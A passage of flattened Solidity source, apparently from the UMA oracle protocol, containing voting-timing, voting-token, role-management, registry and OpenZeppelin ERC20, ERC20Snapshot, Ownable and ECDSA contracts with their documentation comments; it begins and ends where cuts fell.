* @return bool true if the vote was correct.
*/
function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) {
return voteHash == keccak256(abi.encode(data.currentMode));
}
/**
* @notice Gets the total number of tokens whose votes are considered correct.
* @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`.
* @param data contains all votes against which the correctly voted tokens are counted.
* @return FixedPoint.Unsigned which indicates the frequency of the correctly voted tokens.
*/
function getTotalCorrectlyVotedTokens(Data storage data) internal view returns (FixedPoint.Unsigned memory) {
return data.voteFrequency[data.currentMode];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/VotingInterface.sol";
/**
* @title Library to compute rounds and phases for an equal length commit-reveal voting cycle.
*/
library VoteTiming {
using SafeMath for uint256;
struct Data {
uint256 phaseLength;
}
/**
* @notice Initializes the data object. Sets the phase length based on the input.
*/
function init(Data storage data, uint256 phaseLength) internal {
// This should have a require message but this results in an internal Solidity error.
require(phaseLength > 0);
data.phaseLength = phaseLength;
}
/**
* @notice Computes the roundID based off the current time as floor(timestamp/roundLength).
* @dev The round ID depends on the global timestamp but not on the lifetime of the system.
* The consequence is that the initial round ID starts at an arbitrary number (that increments, as expected, for subsequent rounds) instead of zero or one.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return roundId defined as a function of the currentTime and `phaseLength` from `data`.
*/
function computeCurrentRoundId(Data storage data, uint256 currentTime) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return currentTime.div(roundLength);
}
/**
* @notice compute the round end time as a function of the round Id.
* @param data input data object.
* @param roundId uniquely identifies the current round.
* @return timestamp unix time of when the current round will end.
*/
function computeRoundEndTime(Data storage data, uint256 roundId) internal view returns (uint256) {
uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER));
return roundLength.mul(roundId.add(1));
}
/**
* @notice Computes the current phase based only on the current time.
* @param data input data object.
* @param currentTime input unix timestamp used to compute the current roundId.
* @return current voting phase based on current time and vote phases configuration.
*/
function computeCurrentPhase(Data storage data, uint256 currentTime)
internal
view
returns (VotingAncillaryInterface.Phase)
{
// This employs some hacky casting. We could make this an if-statement if we're worried about type safety.
return
VotingAncillaryInterface.Phase(
currentTime.div(data.phaseLength).mod(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol";
/**
* @title Ownership of this token allows a voter to respond to price requests.
* @dev Supports snapshotting and allows the Oracle to mint new tokens as rewards.
*/
contract VotingToken is ExpandedERC20, ERC20Snapshot {
/**
* @notice Constructs the VotingToken.
*/
constructor() public ExpandedERC20("UMA Voting Token v1", "UMA", 18) {}
/**
* @notice Creates a new snapshot ID.
* @return uint256 Thew new snapshot ID.
*/
function snapshot() external returns (uint256) {
return _snapshot();
}
// _transfer, _mint and _burn are ERC20 internal methods that are overridden by ERC20Snapshot,
// therefore the compiler will complain that VotingToken must override these methods
// because the two base classes (ERC20 and ERC20Snapshot) both define the same functions
function _transfer(
address from,
address to,
uint256 value
) internal override(ERC20, ERC20Snapshot) {
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._mint(account, value);
}
function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) {
super._burn(account, value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
bytes32 public constant CollateralWhitelist = "CollateralWhitelist";
bytes32 public constant OptimisticOracle = "OptimisticOracle";
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
library Exclusive {
struct RoleMembership {
address member;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.member == memberToCheck;
}
function resetMember(RoleMembership storage roleMembership, address newMember) internal {
require(newMember != address(0x0), "Cannot set an exclusive role to 0x0");
roleMembership.member = newMember;
}
function getMember(RoleMembership storage roleMembership) internal view returns (address) {
return roleMembership.member;
}
function init(RoleMembership storage roleMembership, address initialMember) internal {
resetMember(roleMembership, initialMember);
}
}
library Shared {
struct RoleMembership {
mapping(address => bool) members;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.members[memberToCheck];
}
function addMember(RoleMembership storage roleMembership, address memberToAdd) internal {
require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role");
roleMembership.members[memberToAdd] = true;
}
function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal {
roleMembership.members[memberToRemove] = false;
}
function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal {
for (uint256 i = 0; i < initialMembers.length; i++) {
addMember(roleMembership, initialMembers[i]);
}
}
}
/**
* @title Base class to manage permissions for the derived class.
*/
abstract contract MultiRole {
using Exclusive for Exclusive.RoleMembership;
using Shared for Shared.RoleMembership;
enum RoleType { Invalid, Exclusive, Shared }
struct Role {
uint256 managingRole;
RoleType roleType;
Exclusive.RoleMembership exclusiveRoleMembership;
Shared.RoleMembership sharedRoleMembership;
}
mapping(uint256 => Role) private roles;
event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager);
/**
* @notice Reverts unless the caller is a member of the specified roleId.
*/
modifier onlyRoleHolder(uint256 roleId) {
require(holdsRole(roleId, msg.sender), "Sender does not hold required role");
_;
}
/**
* @notice Reverts unless the caller is a member of the manager role for the specified roleId.
*/
modifier onlyRoleManager(uint256 roleId) {
require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, exclusive roleId.
*/
modifier onlyExclusive(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, shared roleId.
*/
modifier onlyShared(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role");
_;
}
/**
* @notice Whether `memberToCheck` is a member of roleId.
* @dev Reverts if roleId does not correspond to an initialized role.
* @param roleId the Role to check.
* @param memberToCheck the address to check.
* @return True if `memberToCheck` is a member of `roleId`.
*/
function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) {
Role storage role = roles[roleId];
if (role.roleType == RoleType.Exclusive) {
return role.exclusiveRoleMembership.isMember(memberToCheck);
} else if (role.roleType == RoleType.Shared) {
return role.sharedRoleMembership.isMember(memberToCheck);
}
revert("Invalid roleId");
}
/**
* @notice Changes the exclusive role holder of `roleId` to `newMember`.
* @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an
* initialized, ExclusiveRole.
* @param roleId the ExclusiveRole membership to modify.
* @param newMember the new ExclusiveRole member.
*/
function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) {
roles[roleId].exclusiveRoleMembership.resetMember(newMember);
emit ResetExclusiveMember(roleId, newMember, msg.sender);
}
/**
* @notice Gets the current holder of the exclusive role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, exclusive role.
* @param roleId the ExclusiveRole membership to check.
* @return the address of the current ExclusiveRole member.
*/
function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) {
return roles[roleId].exclusiveRoleMembership.getMember();
}
/**
* @notice Adds `newMember` to the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param newMember the new SharedRole member.
*/
function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.addMember(newMember);
emit AddedSharedMember(roleId, newMember, msg.sender);
}
/**
* @notice Removes `memberToRemove` from the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param memberToRemove the current SharedRole member to remove.
*/
function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.removeMember(memberToRemove);
emit RemovedSharedMember(roleId, memberToRemove, msg.sender);
}
/**
* @notice Removes caller from the role, `roleId`.
* @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an
* initialized, SharedRole.
* @param roleId the SharedRole membership to modify.
*/
function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) {
roles[roleId].sharedRoleMembership.removeMember(msg.sender);
emit RemovedSharedMember(roleId, msg.sender, msg.sender);
}
/**
* @notice Reverts if `roleId` is not initialized.
*/
modifier onlyValidRole(uint256 roleId) {
require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId");
_;
}
/**
* @notice Reverts if `roleId` is initialized.
*/
modifier onlyInvalidRole(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role");
_;
}
/**
* @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`.
* `initialMembers` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] memory initialMembers
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Shared;
role.managingRole = managingRoleId;
role.sharedRoleMembership.init(initialMembers);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage a shared role"
);
}
/**
* @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`.
* `initialMember` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Exclusive;
role.managingRole = managingRoleId;
role.exclusiveRoleMembership.init(initialMember);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage an exclusive role"
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for a registry of contracts and contract creators.
*/
interface RegistryInterface {
/**
* @notice Registers a new contract.
* @dev Only authorized contract creators can call this method.
* @param parties an array of addresses who become parties in the contract.
* @param contractAddress defines the address of the deployed contract.
*/
function registerContract(address[] calldata parties, address contractAddress) external;
/**
* @notice Returns whether the contract has been registered with the registry.
* @dev If it is registered, it is an authorized participant in the UMA system.
* @param contractAddress address of the contract.
* @return bool indicates whether the contract is registered.
*/
function isContractRegistered(address contractAddress) external view returns (bool);
/**
* @notice Returns a list of all contracts that are associated with a particular party.
* @param party address of the party.
* @return an array of the contracts the party is registered to.
*/
function getRegisteredContracts(address party) external view returns (address[] memory);
/**
* @notice Returns all registered contracts.
* @return all registered contract addresses within the system.
*/
function getAllRegisteredContracts() external view returns (address[] memory);
/**
* @notice Adds a party to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be added to the contract.
*/
function addPartyToContract(address party) external;
/**
* @notice Removes a party member to the calling contract.
* @dev msg.sender must be the contract to which the party member is added.
* @param party address to be removed from the contract.
*/
function removePartyFromContract(address party) external;
/**
* @notice checks if an address is a party in a contract.
* @param party party to check.
* @param contractAddress address to check against the party.
* @return bool indicating if the address is a party of the contract.
*/
function isPartyMemberOfContract(address party, address contractAddress) external view returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "./MultiRole.sol";
import "../interfaces/ExpandedIERC20.sol";
/**
* @title An ERC20 with permissioned burning and minting. The contract deployer will initially
* be the owner who is capable of adding new roles.
*/
contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole {
enum Roles {
// Can set the minter and burner.
Owner,
// Addresses that can mint new tokens.
Minter,
// Addresses that can burn tokens that address owns.
Burner
}
/**
* @notice Constructs the ExpandedERC20.
* @param _tokenName The name which describes the new token.
* @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint8 _tokenDecimals
) public ERC20(_tokenName, _tokenSymbol) {
_setupDecimals(_tokenDecimals);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0));
_createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0));
}
/**
* @dev Mints `value` tokens to `recipient`, returning true on success.
* @param recipient address to mint to.
* @param value amount of tokens to mint.
* @return True if the mint succeeded, or False.
*/
function mint(address recipient, uint256 value)
external
override
onlyRoleHolder(uint256(Roles.Minter))
returns (bool)
{
_mint(recipient, value);
return true;
}
/**
* @dev Burns `value` tokens owned by `msg.sender`.
* @param value amount of tokens to burn.
*/
function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) {
_burn(msg.sender, value);
}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external virtual override {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external virtual override {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external virtual override {
resetMember(uint256(Roles.Owner), account);
}
}
pragma solidity ^0.6.0;
import "../../math/SafeMath.sol";
import "../../utils/Arrays.sol";
import "../../utils/Counters.sol";
import "./ERC20.sol";
/**
* @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
* total supply at the time are recorded for later access.
*
* This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
* In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
* accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
* used to create an efficient ERC20 forking mechanism.
*
* Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
* snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
* id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
* and the account address.
*
* ==== Gas Costs
*
* Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
* n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
* smaller since identical balances in subsequent snapshots are stored as a single entry.
*
* There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
* only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
* transfers will have normal cost until the next snapshot, and so on.
*/
abstract contract ERC20Snapshot is ERC20 {
// Inspired by Jordi Baylina's MiniMeToken to record historical balances:
// https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnapshots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
/**
* @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
*/
event Snapshot(uint256 id);
/**
* @dev Creates a new snapshot and returns its snapshot id.
*
* Emits a {Snapshot} event that contains the same id.
*
* {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
* set of accounts, for example using {AccessControl}, or it may be open to the public.
*
* [WARNING]
* ====
* While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
* you must consider that it can potentially be used by attackers in two ways.
*
* First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
* logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
* specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
* section above.
*
* We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
* ====
*/
function _snapshot() internal virtual returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
/**
* @dev Retrieves the balance of `account` at the time `snapshotId` was created.
*/
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
/**
* @dev Retrieves the total supply at the time `snapshotId` was created.
*/
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
return snapshotted ? value : totalSupply();
}
// _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the
// snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value.
// The same is true for the total supply and _mint and _burn.
function _transfer(address from, address to, uint256 value) internal virtual override {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._mint(account, value);
}
function _burn(address account, uint256 value) internal virtual override {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._burn(account, value);
}
function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
private view returns (bool, uint256)
{
require(snapshotId > 0, "ERC20Snapshot: id is 0");
// solhint-disable-next-line max-line-length
require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id");
// When a valid snapshot is queried, there are three possibilities:
// a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never
// created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds
// to this id is the current one.
// b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the
// requested id, and its value is the one to return.
// c) More snapshots were created after the requested one, and the queried value was later modified. There will be
// no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is
// larger than the requested one.
//
// In summary, we need to find an element in an array, returning the index of the smallest value that is larger if
// it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does
// exactly this.
uint256 index = snapshots.ids.findUpperBound(snapshotId);
if (index == snapshots.ids.length) {
return (false, 0);
} else {
return (true, snapshots.values[index]);
}
}
function _updateAccountSnapshot(address account) private {
_updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account));
}
function _updateTotalSupplySnapshot() private {
_updateSnapshot(_totalSupplySnapshots, totalSupply());
}
function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private {
uint256 currentId = _currentSnapshotId.current();
if (_lastSnapshotId(snapshots.ids) < currentId) {
snapshots.ids.push(currentId);
snapshots.values.push(currentValue);
}
}
function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) {
if (ids.length == 0) {
return 0;
} else {
return ids[ids.length - 1];
}
}
}
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
